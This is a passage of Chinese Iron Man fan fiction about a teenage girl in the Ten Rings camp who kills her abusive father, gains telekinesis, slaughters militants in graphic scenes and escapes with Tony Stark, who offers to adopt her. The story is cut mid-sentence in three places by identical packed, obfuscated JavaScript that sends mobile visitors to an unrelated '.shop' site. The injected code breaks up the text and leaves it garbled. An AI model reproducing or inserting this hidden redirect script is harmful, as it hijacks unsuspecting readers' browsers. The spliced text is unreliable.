托尼盯着她看了三秒钟。那双眼睛在她的脸上来回扫视,像一台正在运行的扫描仪,试图从她的微表情中找出破绽。 “然后呢?”他问。 “然后我会躲起来。”莱拉说,语气轻松得像在说今天吃了什么,“躲在一个安全的地方。等你们……等你把那些人都解决了,你来找我。你说过你会带我离开。” 她朝他笑了一下。那个笑容很自然,不像是装出来的。 托尼看着她,沉默了很久。 他的直觉在告诉他这件事没有那么简单,但他还是什么都没说。 因为他知道,不管他说什么,这个孩子都会去做。他认识她快三个月了,知道她是什么样的人——她不是那种会乖乖躲在角落里等别人来救的类型。她会自己想办法,会在别人看不到的地方默默地把事情做了,然后轻描淡写地说一句“没什么”。 就像她替他们争取伙食,就像她替他们挨了那顿打,就像她在被烫伤之后咬着牙一声不吭地扛过来。 “你保证。”托尼说,声音低沉,“你保证你会躲起来。” 莱拉看着他,眼睛里有某种东西闪了一下。 “我保证。”她说。 托尼盯着她看了最后一眼,然后转过头,继续看那张摊在地上的流程图。他的手指又开始在图上移动,嘴唇翕动,重新计算时间。但他的肩膀绷得很紧,下颌的肌肉微微鼓起——那是他在用力咬紧牙关时的样子。 莱拉转过身,看向山洞的洞口。 她没有看托尼,也没有看伊森。 她没有完全撒谎。 她说她会制造混乱——这是真的,她确实打算制造混乱。 她说她会躲起来——这是假的。 从头到尾,她的计划里都没有“躲起来”这一步。她有自己的计划,帮托尼吸引注意力,只是顺便的事情罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618323|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么时候开始?”莱拉问道。 “随时可以开始。”托尼说道,山洞里没有日夜之分,他也没办法把找准凌晨这个理论上人最疲惫的时候。 “那就等半个小时。”莱拉说道,“半个小时之后开始行动。”说完,她便朝着洞口走了过去。 “等等。”托尼的声音从身后传来。 她停下来,没有回头。 “你之前说要制造混乱。”托尼说,语速很快,带着一种他试图压住的紧张,“你要去哪里?怎么制造混乱?” 莱拉偏了偏头,像是想了一下该怎么回答。然后她回过头,朝他笑了笑:“你别管了。你专心穿你的衣服,八分钟。你说过的。” “莱拉——” “托尼。”她打断了他,用的还是那个带着口音的、把“T”发成“D”的发音,“相信我,就像我相信你一样。” 托尼的嘴唇动了动,最终没有再说出反驳的话。他看着那个瘦小的身影走出山洞,消失在石廊的黑暗中,胸口的反应堆发出稳定的蓝色光芒,像是在替他的心跳计数。 “半小时。”伊森在旁边轻声说,“她让我们半小时之后开始行动。” 托尼没有回答。他转过身,开始盯着计时器。 莱拉走在石廊里,脚步不快不慢。 据点里的气氛和平时不太一样。空气中有一种紧绷的东西,像一根被拉到极限的弦。守卫的人数比平时多,每个人的脸上都带着一种焦躁的、不安的神情。莱拉从他们身边走过的时候,没有人多看她一眼——她穿着那身脏兮兮的旧衣服,瘦小、沉默、不存在。 她是十戒帮的正式成员了。首领亲口批准的。这个身份在这个地方意味着很多东西——意味着她可以自由走动,意味着不会有人无缘无故地拦她,意味着她在暴露之前,可以做很多事情。 她走向阿卜杜勒的住处。 她要杀了阿卜杜勒。 这件事她想了很久。不是在想“要不要做”,而是在想“什么时候做”。在她从这具身体里活过来的那一瞬间,这件事就是她绝对要做的事情了。 杀掉阿卜杜勒太简单了,不会比捏碎一颗石头困难多少,以她现在的能力,甚至能够做到让他不被任何人怀疑的意外死亡。 但他的死亡还可以派上更好的用场,所以莱拉留他活到了今天。 莱拉走进阿卜杜勒的洞穴。洞里的灯还亮着,一盏昏黄的灯泡挂在头顶,发出嗡嗡的响声。阿卜杜勒躺在地上的毯子上,手里还攥着一个酒瓶,瓶里的酒洒了一半,浸湿了他胸前的衣服。他的嘴半张着,发出粗重的鼾声,空气中弥漫着浓烈的酒臭味。 他已经醉得不省人事了。 但他不能死得悄无声息。 莱拉蹲下来,从地上捡起一个被喝空了的玻璃酒瓶,砸在旁边的洞壁上,砸出锋利的断碴。 玻璃破碎的声音让阿卜杜勒睁开了些眼睛,在发现自己的房间里多了个人后,他终于生出了些许警惕。 他有些艰难的坐起身来,在看清出现在他房间里的是莱拉后,他几乎是瞬间就放松了下来,他甚至举起手里的酒瓶又灌了口酒,然后才朝莱拉说道:“你来这里干什么?来像我炫耀你已经可以和我平起平坐了?!” 他用力的将手里的酒瓶砸了出去,酒瓶落在地面上,瓶身破碎,酒液四溅。莱拉往旁边走了两步,避开溅开的酒液。 她看着如同一滩烂泥的阿卜杜勒,笑了起来:“以你曾经对我和母亲做的事情,你居然会觉得,我在这个时候出现在你面前,只是为了来向你炫耀的吗?” 莱拉这种和以前完全不同的表现终于让阿卜杜勒那泡在酒精里的脑子多出了些许清醒,他伸出手,想要拿起放在不远处的步枪。 一个被敲碎的酒瓶飞了过来,砸在了阿卜杜勒伸出的手上,巨大的力量让破碎开来的玻璃碎片深深扎入了他的手背。 当剧烈的疼痛感从手背蔓延开来的时候,阿卜杜勒终于后知后觉的感到了恐惧。 而与此同时,有暖流在莱拉的身体里蔓延了开来。正如她之前所猜测的那样,对他人的伤害,同样能够成为她变强的养料。 就是不知道这种伤害的判定是怎么样的了,是只算她亲手造成的伤害,还是间接的也算呢。 心里想着这些有的没的,莱拉表面上并没有什么表情变化,仍旧带着让阿卜杜勒感到惊悚的笑容:“放心吧,我们有十分钟的时间,你不会死得太快的。” 7. 第七章 当其他的十戒帮成员听到惨叫声赶过来的时候,刚好看到莱拉将一块锋利的玻璃碎片插进鲜血淋漓的阿卜杜勒的脖子,将他彻底杀死的那一幕。 阿卜杜勒彻底死亡的那一瞬间,莱拉感觉到自己的脑子像是被什么东西猛地撞了一下。 不是疼痛,不是晕眩,而是一种奇异的、难以形容的震荡——像是一潭死水里被扔进了一块巨石,激起的不是水花,而是某种更深层的东西。她的视野在一瞬间变得异常清晰,清晰到她能看见空气中漂浮的每一粒灰尘,能看见血珠从阿卜杜勒脖子上溅出的每一个角度,能听见有风在山洞里穿梭的声音。 然后她感觉到了。 那些原本只是在体内流淌的强化能量,在这一刻像是找到了一个新的出口。它们不再是只作用于身体——肌肉、骨骼、皮肤、器官——而是向上涌,涌进她的脑子里,涌进那个她从来不知道可以用来“感受”东西的地方。 她能感觉到洞外那个武装分子的位置。不是听到,不是看到,是感觉到。就像她多出了一只看不见的手,那只手可以伸出去,摸到那些原本摸不到的东西。 莱拉愣了一下。 ……念动力? 这个念头从脑海中闪过的时候,她感叹了一下自己对于强化能量的认知还是太单薄了,看来以后再使用这种能量的时候,她应该多做些尝试了。 她试着用那只“手”去碰了一下地上的一块小石头。石头动了一下,滚了半圈,停住了。 很轻,很轻松,像用一根手指推了一下。 莱拉在心里叹了口气。要是早点干掉阿卜杜勒的话,她现在说不定都能带着托尼和伊森直接杀出去了 “怎么回事!” 洞外传来脚步声和喊叫声。那些听到惨叫声的十戒帮成员赶过来了,至少有五六个人,脚步声杂乱,枪械碰撞的声音清脆。 莱拉低头看了一眼阿卜杜勒的尸体,又看了一眼自己沾满血的双手。然后她抬起头,看向洞口。 第一个冲进来的武装分子看到了她。他看到了躺在地上的阿卜杜勒,看到了那个孩子手上和脸上的血,看到了她手里还握着的那块碎玻璃。他的眼睛瞪大了,嘴巴张开,还没来得及发出声音,后面的人就挤了进来。 “她——她杀了阿卜杜勒!” “举起手来!放下武器!” 莱拉看着那些对准她的枪口,慢慢举起了双手。她没有放下那块碎玻璃——但此刻也没有人在意她手里还握着什么东西,所有人的注意力都在阿卜杜勒的尸体上。 她没有反抗。现在还没到时候,而且接下来,她还可以试试看自己的新能力,看看强度如何。 所以她只是举着手,语气平静的说道:“带我去见首领。” 她被押走了。 穿过石廊的时候,她的耳朵捕捉到了远处山洞深处的动静——托尼和伊森正在忙碌,金属碰撞的声音急促而有序,应该是托尼开始穿戴盔甲了。 大约还需要七分钟。 她被带到首领面前的时候,注意力还放在远处的山洞那边。洞穴里的灯光昏黄,男人坐在那张折叠椅上,那枚银色的戒指在灯光下反射着冷光。周围的武装分子荷枪实弹,枪口指着她的头,随时都能把她打成筛子。 没有人看得出来,莱拉其实有点心不在焉。 她正在使用自己新得到的能力。 那只看不见的手比刚才灵活了一些,像是一个刚刚学会走路的婴儿在尝试迈出第一步。她蹲在地上——不,她跪在地上,因为首领让她跪下,她就跪下了——集中注意力,把那只“手”伸向地上的一个小石子。 石子动了一下。 她又试了一次。石子滚了半圈。 第三次,石子被她推到了旁边那个武装分子的脚边。那个武装分子低头看了一眼,皱了皱眉,没有当回事。 莱拉低着头,嘴角微微弯了一下。 好玩。 她又试了试稍微大一点的东西——一块拳头大的石头。这次没那么容易了,她需要集中更多的注意力,把那只“手”的力量放大。石头在地上晃动了几下,然后翻了个身。 首领的声音从头顶传来:“解释。” 莱拉抬起头,看着他。她的表情很平静,甚至带着一丝疲惫——那是演出来的,因为她现在的精神力活跃得像一只刚被放出笼子的鸟,根本不可能疲惫。但她需要表现得像是一个刚刚杀了自己父亲的、疲惫的、绝望的孩子。 “我杀了阿卜杜勒。”她说,语气平淡,“为了我母亲。” 首领看着她,那双冷酷的眼睛在她脸上停留了很久。他当然知道莱拉和阿卜杜勒之间的故事——这个基地里所有人都知道。一个酗酒的男人,一个被打死的妻子,一个像狗一样养大的孩子。这件事在基地里不是什么秘密,也从来没有人觉得有什么不对。 但莱拉在没有得到他允许的情况下杀了人。 首领的手指在椅子扶手上敲了两下。他的表情没有变化,他不在乎阿卜杜勒的死,他在乎的是这个不起眼的、只是有点小聪明的孩子,突然做出了出乎他意料的事情。 他不喜欢这种感觉。 “你杀了自己的父亲。”他说,“你觉得我应该怎么处理你?” 莱拉看着他,眼睛里的光芒平静得像一潭死水:“我不知道,先生。但不管是什么,我都接受。” 她说的很乖,很顺从。但她的念动力正在把地上的一根铁丝拧成一个圆圈,然后拉直,再拧成一个圆圈。 首领看了她很久。然后他站起来,走到莱拉面前,低头看着她。那枚银色的戒指在她的视野里晃了一下,反射出刺眼的光。 “把她吊在门口的旗杆上。”他说,声音不大,但整个洞穴里的人都听到了,“作为一个警告。不管是谁,不管因为什么理由,都不能自做主张。” 莱拉被拉了起来。她没有反抗,任由那些武装分子抓着她的胳膊把她拖出洞穴。她的心里在倒数——托尼还需要大约五分钟。 一切都按照计划进行。 她被拖过石廊,经过露天灶台,经过那些堆满武器零件的洞穴,朝基地门口走去。路上不断的有人在讨论她,讨论她今晚的作为,讨论她会有什么样的下场。这些人的注意力都在她的身上,而她的耳朵一直竖着,捕捉着从山洞深处传来的每一声响动。 然后她听到了。 沉重的金属造物踩在山洞地面上的声音。 托尼开始了。 莱拉的脚步停了下来。 在押送她的两个武装分子反应过来之前,她的身体像一根被压缩到极限的弹簧突然释放,在一瞬间完成了转身、出拳、踢腿三个动作。她没有学过任何格斗技巧,但她有远超常人的速度和力量,她不需要技巧。 她的巴掌扇在第一个武装分子的脸上,力道大得让他的头猛地扭向一边,整个人朝侧面飞了出去,手里的步枪脱手,在空中转了兩圈,落在三米外的地上。她的脚同时踢在第二个武装分子的膝盖上——不是用脚尖,是用脚掌,整个人的重量加上那一瞬间爆发出的力量,全数倾泻在那块脆弱的关节上。 一声脆响。不是枪声,是骨头断裂的声音。 第二个武装分子还没反应过来,膝盖就弯向了不该弯的方向。他的惨叫声还没出口,莱拉已经弯腰捡起了地上的步枪。 她不太会用枪。 但这不重要。距离太近了,近到她不需要瞄准。她把枪口抵在第一个武装分子的胸口,扣动了扳机。巨大的枪声在山洞里回荡,震得她的耳朵嗡嗡作响。然后是第二枪,第二个人。 两声枪响,两个人倒下。 莱拉把步枪挂在身上,低头看了一眼地上的两具尸体。血从他们身下蔓延开来,和地上灰白色的尘土混在一起,变成了一种暗红色的泥浆。 她本可以无声地捏断他们的脖子,但她还是选择了用枪,因为枪声会引来更多的人。 这正是她想要的。 她躲在一处山洞的拐角处。 脚步声从四面八方涌来,像潮水一样。莱拉数着那些脚步声——至少十个,也许更多。她把手里的步枪端起来,用肩膀顶住枪托,姿势不太标准,但足够稳定。 第一个武装分子从转角冲出来的时候,莱拉开枪了。 她没有瞄准头部。在这个距离上,她不需要瞄准头部,只要能打中身体就够了。子弹击中了那个人的腹部,他弯下腰,倒在地上,后面的两个人从他身上跨过去,朝莱拉开枪。 莱拉缩回了头,她失去了视野。 但她还有另一双眼睛,一双看得更加清晰和全面的眼睛。 她将枪口伸出拐角,开了三枪,三枪都中了。 那些强化能量又涌了上来。不是从伤口来的——她身上没有任何伤口。是从她的行为来的。杀人这件事本身,杀死那些拿着枪想要杀死她的人,这种行为带来的力量反馈,比她想象的要猛烈得多。 她甚至觉得有些上瘾。 不是杀人的快感,而是被强化能量包裹,身体逐渐变强,念动力能够探查到的,自己能够掌控的范围逐渐变大的感觉,让人上瘾。 在那帮家伙们慌张的射完了子弹,几乎在同一时间开始换弹后,莱拉从角落里冲了出来,冲进了那群人中间。 枪在近距离射击中不够快,她就把枪当棍子用。枪托砸在第一个人的脸上,血浆从鼻孔里喷出来。她侧身躲过一个武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618324|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装分子刺过来的匕首,伸手抓住他的手腕,用力一拧——骨裂的声音和惨叫声同时响起。 她的拳头的力量太大了。一拳打在胸口,肋骨会断。一拳打在喉咙,脖子也会直接折断。她甚至不需要用全力,只需要把那些被强化过的肌肉和骨骼按照本能驱动起来,就能造成普通人无法承受的伤害。 不到两分钟,石廊里安静了下来。 莱拉站在一堆倒下的身体中间,呼吸有些急促,但身体没有任何伤口。她的衣服上溅满了血——有阿卜杜勒的,有这些武装分子的,还有她自己的。她的指节上有几处擦伤,但那些伤口已经开始愈合了,血痂正在以肉眼可见的速度形成。 她低头看着自己的手,握了握拳头。 强大的力量在她这看似瘦弱的身体里蛰伏,来到这个世界这么久,她终于有了能够在这个世界上活下去的底气。 就在这个时候,莱拉听到了脚步声。 不是那些普通的、慌乱的、被恐惧驱使的脚步声。是沉重的、有节奏的、金属踩在石头上的声音。 是托尼的战甲。 莱拉抬起头,看向石廊的尽头。 托尼·斯塔克从转角处走了出来。 他的战甲在火光中反射着橘红色的光芒,身上沾满了烟尘和不知道是谁的血。 然后他看到了莱拉。 他看到了站在一堆尸体中间的莱拉。她浑身是血,手里端着一把还冒着烟的步枪,脚下躺着至少十个人。她的衣服上全是血,脸上也溅满了血点,但她的眼睛很亮,亮得惊人。 托尼的脚步停住了。 他站在石廊的另一端,透过战甲的面罩看着那个孩子,看了足足五秒钟。然后他的声音从扩音器里传出来,带着一种难以置信的、被什么东西噎住了的语调。 “……你干的?” 莱拉看了看周围的尸体,又看了看自己手里的步枪,然后抬起头,朝他笑了笑。和之前那种总是带着点小心的笑容不同,这个笑容轻松而灿烂,完美地展示出了她此时愉快的心情。 “他们先开枪的。”她说。 托尼沉默了。 说真的,莱拉此时的形象和表现完全颠覆了托尼对这个可怜小孩的所有印象。说真的,之前莱拉说要去帮他拖延时间的时候,他什么糟糕的结果都想过了,唯独没有想过如今面前的这幅场景。 “伊森呢?”莱拉问。 “在后面。”托尼说,“我先出来清理十戒帮的人,他在后面扫尾。” 他们去找了伊森。伊森站在据点的中庭里,手里拿着一串从某个死去的武装分子身上翻出来的车钥匙,正在四处张望。当他看到莱拉浑身是血地从石廊里走出来的时候,他的脸色变了一下。 “你受伤了?”他快步走过来,伸手要去检查莱拉的手臂。 “不是我的血。”莱拉说,乖乖地任由他检查。 伊森检查了一下后,发现正如莱拉所说的那样,都不是她的血,她身上,甚至连一道伤口都没有。 “我找到了一辆卡车。”伊森松了口气,随即指了指停在中庭旁边的一辆老旧的军用皮卡说道,“钥匙能用。油也是满的,我们可以开着这辆车离开。” 托尼却有些迟疑。他看了看两人,又看了看堆放在中庭里的那堆标着‘斯塔克’标记的军火,开口了:“你们先离开这里。” 莱拉看着他:“你想做什么?” “我要把这里炸掉。”托尼语气坚定的说道,“我不能把这些军火留在这里。” 莱拉和伊森互相对视了一眼,都没有反对的意思,或者说,他们两人其实都很赞成这一点。 莱拉看着托尼的机甲:“你打算用这个炸掉这里吗?” 托尼点了点头。 “那先等一下吧,我们需要在这里找点补给。”莱拉从地上捡起了两把枪,一把扔给伊森:“我们分开行动,十分钟之后不管找到多少东西,都回来这里集合。” 伊森接过枪,点头认同了莱拉的安排,随即便转头朝另一个方向离开了。 莱拉朝首领办公室所在的方向走去,如果她没记错的话,当初在电影里,这个首领应该还保留着一些东西,一些能够暴露出托尼被绑架这件事的幕后黑手的东西。 另外,回来的时候刚好可以走另一条路,可以从厨房经过。 首领的办公室在据点最深处的一个洞穴里,位置隐蔽。刚才的混乱似乎没有波及到这里——洞穴外面的石廊里没有尸体,没有血迹,只有几颗散落的弹壳和一股淡淡的硝烟味。 莱拉放轻了脚步,她的念动力先于她一步扩散进了山洞里,让她对里面的情况了然于胸。 她推开了办公室的门。 8. 第八章 房间里很暗。灯泡被打碎了,玻璃碴散了一地,只有从洞口透进来的微弱光线照亮了局部的空间。 “别动。”熟悉的男人的声音在房间里响了起来。 莱拉没有动。她早就知道首领躲在房间里面,只不过对方手里的那把枪根本无法对她构成威胁,所以她才毫不介意地走了进来,想看看这家伙还想要说些什么。 首领从黑暗中走了出来。他的左臂垂在身侧,衣服上有一大片暗红色的血迹。托尼在清理据点的时候显然没有注意到这个隐蔽的洞穴,但爆炸的冲击波还是伤到了他。他的脸上有一道很深的伤口,从额头一直延伸到颧骨,血糊住了半张脸,让他看起来像是一只从坟墓里爬出来的鬼。 他的右手举着一把手枪,枪口对准莱拉的胸口。 “你。”他说,声音沙哑得像砂纸摩擦石头,“你从一开始就在骗我。” 莱拉看着他,没有说话。 “你杀阿卜杜勒,根本不是为了给你的母亲报仇,而是为了给他们拖延时间。” “这你可说错了。”莱拉摊了摊手,“我的确是为了报仇才杀了阿卜杜勒的,如果只是为了拖延时间的话,我杀你不也是一样的吗?” “你以为你能活着离开这里?你以为你赢了?”首领的手指扣在了扳机上,他的声音在发抖,枪口也在发抖,“去死吧!叛徒!” 他扣动了扳机。 枪声在封闭的洞穴里炸开。 那颗子弹从枪膛里射出来,在空气中划出一道肉眼几乎无法捕捉的轨迹,朝莱拉的胸口飞来。她看着那颗子弹,伸出手,念动力按照她的想法,挡在子弹的路径上。 子弹停住了,停在她的手掌前方大约5厘米的位置。 经过了之前那番战斗和杀戮,她的念动力的强度已经足以挡下子弹了。 首领的眼睛瞪大了。 他又开了一枪。第二颗子弹飞过来,停在第一颗旁边。 第三颗。第四颗。第五颗。 莱拉站在那里,一只手掌心朝前,五指微微张开。那些子弹一颗一颗地停在她面前,悬浮在空中,排成一个不规则的圆圈。 十二颗。 首领打完了弹匣里的所有子弹。他的手还在机械地扣动扳机,发出咔咔的空响。他盯着那些悬浮在空中的子弹,嘴唇发抖。他的眼睛在莱拉和地上的子弹之间来回移动,像是在努力理解眼前发生的事情。 “你……你一直在隐藏实力……”他的声音像是从喉咙最深处挤出来的,“你有这种力量……为什么要隐藏……为什么要帮那个美国人……” 莱拉收回手,凝固在空气里的子弹失去了支撑,纷纷掉在了地上,她拍了拍手,像是拍掉了一些不存在的灰尘。 “因为我乐意。”她说。 她朝首领走近了一步。首领本能地后退了一步,脚后跟撞上了身后的石壁,无路可退。 莱拉看着对方这幅狼狈的模样,心里只觉得非常的愉快。没错,她就是喜欢这个,就是想要让之前看不起她,掌控她生死的家伙,为她现在所拥有的力量而感到震惊。为此,她甚至没有第一时间干掉面前这个家伙,就是为了让对方露出现在的这幅模样,来好好取悦她。 不过,稍微玩一玩就好了,托尼和伊森还在等着她一起离开,可不能继续在这里浪费时间了。 她伸出手,用念动力抓住了首领的脖子。那只看不见的手收紧,收紧,再收紧,干脆利落地扭断了他的脖子。 莱拉低头看了一眼,然后转过身,走到房间最里面的铁皮柜子前,把里面的笔记本电脑和卫星电话拿出来,塞进了同样在房间里找到的帆布包里。 她把帆布包背在肩上,走出了办公室,然后走向厨房。 证据什么的只能算是意外收获,更重要的还是能够支持他们离开沙漠的食物和饮水。 莱拉在厨房把背包装满,然后提着背包回到了之前和托尼还有伊森分开的地方。伊森已经回来了,他找到了一些药物,以及一些罐头之类的东西。 看到莱拉拿回来的背包后,伊森惊讶的问道:“你从哪儿找到的这么多东西?” 莱拉笑着说道;“我去了厨房。” 伊森也笑了起来:“你可真是个聪明的孩子。” 东西都那好了之后,两人便上了车。莱拉一个小孩子,当然不会开车,托尼要穿着自己的战甲,等会儿还得把那些军火都给炸了,伊森当仁不让地坐在了驾驶座上。 等到皮卡驶离基地几公里后,托尼便操作着战甲飞了起来,几发炸药精准地落在军火堆里,整个基地瞬间便成了一片火海。 托尼在完成这项任务后,也是松了口气,正想飞到已经停下来的皮卡旁边,战甲却开始发出一些不太妙的声音。 于是,在莱拉和伊森惊讶的目光中,刚刚还在大显神威的钢铁战甲歪歪扭扭地掉了下来,在落地后直接散成了一地的零件。 莱拉看着狼狈地从战甲残骸里爬出来的托尼,笑着朝他挥了挥手:“嘿,托尼,需要把你那散了架的钢铁战甲也带上吗?我们的车里应该还有些位置。” “那可真是多谢你了。”托尼翻了个白眼,“如果你们能下来搭把手的话,我会更加感激的。” 最后还是三个人一起把那些钢铁战甲的残骸给抬上了车,毕竟是把他们从恐怖组织的基地里救出来的大功臣,托尼想要带回去当个纪念。 卡车在沙漠里颠簸着,发动机的声音沉闷而稳定,窗外的景色一成不变,金黄色的波浪在阳光下起伏,延伸到天际线的尽头。 托尼坐在后排,莱拉旁边。他的战甲散成一堆零件躺在后斗里,身上只穿着那件灰色的背心和皱巴巴的裤子,胸口那个微型电弧反应堆发着柔和的蓝光。他的脸上全是烟尘和油污,头发乱得像鸟窝,胡茬又长出了不少,整个人看起来像是刚从垃圾堆里爬出来的。 但他的眼睛很亮。 伊森从后视镜里看了他一眼,嘴角微微弯了一下:“感觉怎么样?” “感觉?”托尼靠在座椅上,仰头看着车顶,“我感觉我像是被一辆卡车碾过,然后又倒回来碾了一次。”他顿了一下,“不过,比在山洞里的时候好多了。” 伊森笑了笑,没有再说话。 莱拉坐在托尼旁边,把帆布包的拉链拉开,开始翻里面的东西。她把食物和水分到一边,把衣服堆到另一边,手伸到背包最底部,摸到了那个硬邦邦的、方方正正的东西。 托尼偏过头看她,语气里带着一丝打趣的意味:“怎么,你已经开始饿了吗?” “我之前找到了一些东西。”莱拉说,一边把压在最下面的东西拽出来,“也许能派上用场。” 她把卫星电话和笔记本电脑从背包里拿出来,放在膝盖上。电脑的金属外壳在阳光下反射着刺眼的光,卫星电话的天线歪向一边,屏幕上有一道细小的裂纹,但看起来还能用。 托尼的目光落在那些东西上,挑了挑眉:“你还真是找到了些重要的东西呢。”他刚刚还在想要怎么在没有导航的情况下离开这片沙漠,现在有了这些,他完全可以直接联系美军了。 他的身体微微前倾,他伸出手,从莱拉膝盖上拿起那台笔记本电脑,翻开屏幕,按下电源键。 屏幕亮了。 托尼的手指在触控板上滑动,有目的地翻动着电脑里的文件夹,翻看里面的内容。他想要看看,自己卖给美国军方,用来打击恐怖分子的武器,是怎么落在恐怖分子的手里的。 然后,在打开了一个视频后,托尼停下了动作,脸上的表情也变得难看了起来。旁边的莱拉探头看了一眼,发现正是她之前在电影里看过的,奥巴代亚和恐怖分子谈交易的场景的视频。不得不说,就算是看起来只会用暴力的恐怖分子,也是会耍心眼的。他们不仅会为交易保留证据,还会为了让托尼给他们制造导弹,而擅自改变交易目的。 托尼把电脑合上了。 他的动作很轻,轻得不正常。他没有摔东西,没有骂人,好像没有从刚才的视频里受到任何打击一般。他只是把电脑合上,放在膝盖上,然后转过头,看着窗外飞逝的沙漠。 车厢里安静了很久。 伊森从后视镜里看了托尼一眼,又看了莱拉一眼。莱拉朝他微微摇了摇头。 卡车继续在沙漠里行驶,发动机的声音单调而绵长,像一首没有尽头的催眠曲。莱拉靠在座椅上,感觉到疲惫像潮水一样涌上来。这几个月来她几乎没有真正放松过,即使在睡觉的时候,她的神经也是绷着的。但现在,坐在这个颠簸的、油腻的、充满汽油味的皮卡车厢里,在两个刚刚和她一起死里逃生的人中间,她终于感觉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618325|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了安全。 不是因为托尼·斯塔克,不是因为伊森,而是因为她强大的身体,足以挡下子弹的念动力。 她不需要别人保护了。 这个认知让她觉得困。不是那种因为虚弱而产生的疲惫,而是一种从骨头缝里渗出来的、想要闭上眼睛什么都不想的轻松感,这让她昏昏欲睡。 “我们需要联系美国军方。”托尼突然开口说道,“我们现在的位置太深入沙漠了,这辆皮卡的油不足以支持我们离开沙漠。” 莱拉睁开了眼睛,看向托尼。托尼的表情很平静,但他的眼睛很亮,就像是当初被困在山洞里,打造钢铁战甲时一样亮。 “托尼,你之前不是还说要联系斯塔克工业来接你吗?”正在开车的伊森问道,“发生什么了?” 托尼身体放松地靠在车座上,语气变得轻松了起来:“没什么,只是我刚刚才发现,想要我命的人,正是我最信任的好叔叔罢了。” 或许是因为这车上坐着的,正是与他有着过命的交情,且都与奥巴代亚没有任何关系的两人,托尼在沉默了片刻后,把他以为他这辈子都不会告诉别人的话说了出来:“他是我爸的朋友,和我爸一起合伙创立了斯塔克工业。我爸负责研究,他负责经营,他们是,曾是最佳搭档。他看着我从七岁长到三十八岁,他就像是我没有血缘的家人一样。” “他对我说的最后一句话是——‘你以后就是斯塔克工业的CEO了,你父亲会为你骄傲的。’然后他付钱给一群恐怖分子,让他们把我干掉。” 说实话,这件事莱拉早就已经知道了,毕竟电影里演得一清二楚,但亲耳听到托尼.斯塔克把这件事说出来,亲眼看到他的表情,那种感觉和在电影里看到的,还是很不一样的。 托尼如此直白地把他的伤口展露了出来,莱拉觉得,自己或许也是时候,把真相说出来了。 “我需要告诉你一件事,托尼。”莱拉说着,等托尼投来疑惑的目光后,才继续说道,“之前我说,我是十戒帮从附近的村子里掳来的,其实是骗你的。我的父亲,就是十戒帮的成员。” 皮卡吱嘎一声刹住了,托尼和伊森一起惊异地看着莱拉,莱拉被他们的反应逗笑了,不过现在可不是笑的时候,她抿了抿唇,继续说道:“我的父亲,阿卜杜勒是个喜欢打老婆孩子的人渣,我的母亲两年前为了保护我,被他打死了,从那个时候开始,我就下定了决心,我一定会杀了他。” “托尼,你之前不是问过我,要怎么帮你引开十戒帮的注意力吗?”莱拉朝他笑了笑,“很简单,我杀了阿卜杜勒。” 托尼:…… 这倒确实是他没有想到的了。 “你身上的那些旧伤,都是他干的?”托尼语气有些干涩的问道。 “是啊。”莱拉点了点头,“所以你看,就算是有血缘关系的亲人,也是会变成仇人的。” 听到莱拉的这句话后,托尼猛然意识到,这个孩子之所以把这件事在这个时候说出来,只是想要安慰他。与此同时,他也意识到了,在过去的几个月中,他所感觉到的,在莱拉身上的违和感是从何而来的了。 这孩子的弱小和受到的伤害都是真实的,然而他的内心,却比他的外表要强大得多。而且从头到尾,这孩子都没有伤害过他们,而是尽他所能的,在为他们提供帮助。光是冲着这一点,托尼和伊森也无法对他生气。 只能说,在莱拉说出这些真相的时候,他们重新认识了这个孩子,认识了这个真实的,复杂的,带着秘密的莱拉。 虽然心情复杂,但确实有种被安慰到了的感觉的托尼用卫星电话联系了罗德上校,将他们现在所处的位置告诉了对方后,就挂断了电话。 “你今年多大了,孩子。”过了一会儿,托尼突然问道。 虽然不明白托尼为什么会突然问这种问题,不过没什么需要隐瞒的莱拉诚实的答道:“十五岁。” “老天,你看起来只有十一二岁!”托尼捏了捏自己的鼻梁,“好吧,虽然有点出乎我的意料,但是问题不大。” 他转过身,认真地看着莱拉,眼睛里的郑重让莱拉愣了一下:“莱拉,我们已经从那个恐怖组织的基地里逃了出来,我会带你回纽约,如果你愿意的话,我想成为你的家人。” “我想要收养你做我的儿子。” 9. 第九章 “我想要收养你做我的儿子。” 托尼的声音在闷热的车厢里回荡,语气认真得不像是在开玩笑。他的眼睛直直地看着莱拉,那双深棕色的眼睛里有一种她从未见过的郑重——不是托尼·斯塔克式的、玩世不恭的郑重,而是一种真正的、发自心底的认真。 莱拉愣住了。 